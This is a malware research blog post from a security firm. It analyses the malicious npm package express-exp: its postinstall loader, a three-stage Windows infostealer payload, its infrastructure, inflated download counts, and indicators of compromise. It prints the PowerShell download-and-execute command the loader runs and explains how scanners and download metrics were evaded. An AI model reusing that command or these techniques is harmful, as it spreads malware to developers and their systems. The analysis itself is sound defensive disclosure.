Research

Russian Hackers Manipulate npm to Make Realistic Packages

April 15, 2025
10 mins
Safety’s malicious package detection identified a malicious npm package today named express-exp. This package was brand new, and had only one version, 1.0.1.

Russian threat actors have published ten npm packages containing malware that targets Windows systems.  More worryingly, they have also manipulated npm download metrics to make their packages appear to have millions of downloads, lending false legitimacy to their malicious code.

Safety’s malicious package detection identified a malicious npm package today named express-exp. This package was brand new, and had only one version, 1.0.1.

First thing to check is the package.json file to see if this npm package uses an install script.

It does use a postinstall script to execute its payload when someone installs the package. The threat actor is using a common technique to call a Javascript file with node. Threat actors do this so they can leverage the immediate execution of the payload, while not advertising what the payload does directly in the package.json file.

Unfortunately, this is a very effective way to bypass detection by package scanning tools. For example, Socket.dev has no idea the package exists, much less that the express-exp npm package is malicious. Similarly, Snyk hasn’t detected the package is malicious:

Deciphering the payload

The package.json file showed us that the index.js file is being executed as soon as the express-exp package is installed, so let’s take a look at the index.js file:

Whoa! Hold the phone, the index.js file is clearly obfuscated! Let’s run that file through a good Javascript obfuscator so we can see it more clearly:

Okay, now that the code has been beautified you can see on line 23 that the index.js file is running a command. That command is:

powershell -Command \\"irm <https://asdf11>[.]xyz/npm/ | iex\\"

This payload is dirt simple: it’s running a powershell command that is pulling something, probably a second stage malicious payload, from https://asdf11[.]xyz/npm. The irm parameter will download a script using “invoke rest method” and iex will run the script by telling Powershell to “invoke expression.

The index.js is acting as a first stage loader, and the URL https://asdf11[.]xyz/npm/ is the second stage payload.

Let’s research that domain

Let’s go see what the status of the asdf11[.]xyz domain is and where it’s located.

Interesting, the domain asdf11[.]xyz is not resolving to anything right now.

If we check historical DNS with SecurityTrails we can see that this domain was registered by a Russian registrar for several years:

The domain asdf11[.]xyz was hosted at IP address 194[.]67.71.170 which belongs to the REG[.]RU domain registrar and hosted in Moscow, Russia.

That original registration lapsed in 2023, but then the domain was re-registered by Namecheap on April 4, 2025. Interestingly this time the IP address was 68[.]65.120.235 and was hosted in the Namecheap cloud in the United States.

Interestingly the name of the org that owned the asdf11[.]xyz domain is listed as Neustar Security Services, which is an American network security company.

Shodan shows that while that server was online, it had a significant public exposure with Telnet, DNS, web, SMTP and POP3 services available online.

Hunting down the second stage payload

The payload was no longer available from the asdf11[.]xyz site because that domain was no longer active. The timeline is a bit confusing, but we know for a fact that as of April 13, 2025 the asdf11[.]xyz domain did not have any public DNS records.

Typically, that would be the end of that, but in this case I was able to bring the payload back from the dead via the Wayback Machine. I found two different indexes of the original payload on the Wayback Machine from April 6, 2025. I pulled both to compare, but they were exactly the same.

Here’s a screenshot of the payload on the Wayback Machine:

There is a LOT to unpack there (literally and figuratively)! This is the second stage payload, as the first stage was the npm package index.js file. The second stage is a Powershell script that targets Windows machines only. In addition, this script is using several types of obfuscation including variable and function renaming and string array mapping

However, this script is relatively easy to read. The script is running windows commands as well as having 3 distinct base64 strings set inline with the Powershell commands.

On line number 153, the script also conveniently calls out its C2 infrastructure. The variable is very conveniently named c2_var.

The C2 is a new domain myaunet[.]su which has only been registered for two weeks:

The domain name myaunet[.]su points at the IP address 107[.]189.21.90 which is a server hosted in the Netherlands with the hosting provider Cloudzy, formerly known as RouterHosting. This provider is well known for hosting malicious content. Cyberscoop has a great article talking about Cloudzy and how it hosts many cybercriminals.

Let’s get back to the Powershell payload

If we break down the Powershell script from the Wayback Machine, it has multiple sections of Powershell commands, interspersed with long base64 strings.

Those long base64 strings turned out to be Windows binaries represented as base64 strings, which is a pretty common technique to add malicious binaries inline within the script.

Three base64 binaries in the payload

These three base64 strings that convert to windows binaries are each assigned a variable name for obfuscation purposes. I won’t include the actual base64 strings as they are two long.

$nMGYJI0pq9s9eKwOFkb8QOJD0MCAKJbW1zMs6YkYYKCo0ne - first base64 string variable name

$tk13GRD0UqwrTlPpp0IaI9oAIDMM6vem0DT2iAPOrWKNefry - second base64 string variable name

$KfIMkSC20lyJb3ujNJShEfdnimmm49cxaBo - third base64 string variable name. This third string used binary obfuscation to stop you from being able to base64 decode it. However, I read through the powershell source and found the function and reverse engineered the binary obfuscation to get a good payload.

Exploring each payload

First stage

File hash: 13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c

Virustotal detects this as malicious file with output.exe name as trojan.alevaul/gqcss

This file is a DLL that appears to be named MLANG.dll. This DLL disables several common security functions as well as excluding a specific directory from being scanned by Windows Defender.

I ran the first payload through Recorded Future’s Triage sandbox. You can see that report here: https://tria.ge/250414-edv4dazwfs/behavioral1

Second stage

File hash: 515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640

Virustotal detects this as malicious trojan.powershell/alevaul

This is also a DLL file and in similar fashion to the first payload its basically setting up the Windows box to run the third and final payload.

Third stage

File hash: 2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191

Virustotal detects this as malicious file myau.exe - This file is a .exe and is the final, and most powerful payload. It appears to be an info stealer and grabs all browser data for Chrome, Edge and other browsers. In addition, there is some evidence at the end, it drops a xmrig crypto miner, but that’s not 100% confirmed.

Here’s a link to the any.run report for this third stage payload: https://app.any.run/tasks/e9eefaa8-b85d-471a-9d45-147c5e255564

The verdict: Russian infostealer using npm for distribution

While its not super common to see these Windows infostealer gangs using npm to deliver their payloads, I am seeing it more frequently now. This is a concern as these gangs will bring with them new innovations to the npm malicious package space.

New innovation

When I originally looked at this package in npm I saw that it was new, but then was surprised as it had 4.5M downloads last week. That’s crazy!

If you look at the npm metadata for that package you can see that it was originally published on April 4th, 2025. How is it possible that in ten days its wracked up millions of downloads?!

Well, the answer is it hasn’t. Well, at least not honestly!

If you look at the npm downloads API metadata the reality is even crazier! If the package was published on April 4, according to npm it got 451,019 downloads its first day!

Then in the next week it got 4,531,209 downloads!

Something fishy is going on here.

How is it possible that a new package, that’s malicious, has gotten 4.5M downloads in the course of 8 days!

I suspect the threat actor here has found a way to game the npm download numbers.

The author of the npm package, beveloper_bev, had published 9 other packages to npm, so I needed to analyze those packages as well.

While all ten packages published by beveloper_bev had the same malicious payload as express-exp, none of the other packages have the inflated 4.5M downloads.  The next most popular package had 142 downloads last week.

I suspect I know how the threat actors in this case inflated the numbers:  with residential proxy networks.  I have analyzed how npm captures a legitimate download metric and the only way I see this working is if residential proxies were used.  However, to be clear, I have not confirmed that.

Regardless of how the threat actors did it we need to be aware that its possible for bad guys to fake the download numbers for npm packages.  That means we need to change how we validate the legitimacy of packages.  We can’t assume because a package has millions of downloads that its legitimate.

Timeline of events:

March 30, 2025 - myaunet[.]su domain is registered to Hurricane Electirc

April 4, 2025 - asdf11[.]xyz domain is registered to Namecheap

April 4, 2025 - express-exp version 1.0.1 is released to npm

April 5, 2025 - Website starts hosting second stage payload at asdf11[.]xyz domain

April 8, 2025 - asdf11[.]xyz domain domain records are removed for unknown reasons

April 13, 2025 - I identify the express-exp package as malicious

Indicators of Compromise (IOCs)

Based on my research this threat campaign has several IOCs you can look for:

NPM Packages:

express-exp

Also: express-exp, helper-member-expression-to-functions, helper-annotate-as-pure, helper-function-name, helper-compilation-targets, helper-get-function-arity, helper-hoist-variables, helper-plugin-utils, compat-data, helper-split-export-declaration

Email addresses:

kaydenredacted2@gmail.com

Files:

payload #1 - (potentially output.exe) - sha256 hash: 13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c

payload #2 - sha256 hash:

515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640

payload #3 - sha256 hash:

2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191

IP addresses:

194[.]67.71.170

68[.]65.120.235

Domains:

asdf11[.]xyz

myaunet[.]su

Thanks for sticking around to the end.  Hit me up directly if you have any questions about this campaign.  You can find me on LinkedIn.

Paul McCarty - Head of Research, Safety

Reduce vulnerability noise by 90%.
Get a demo today to learn more.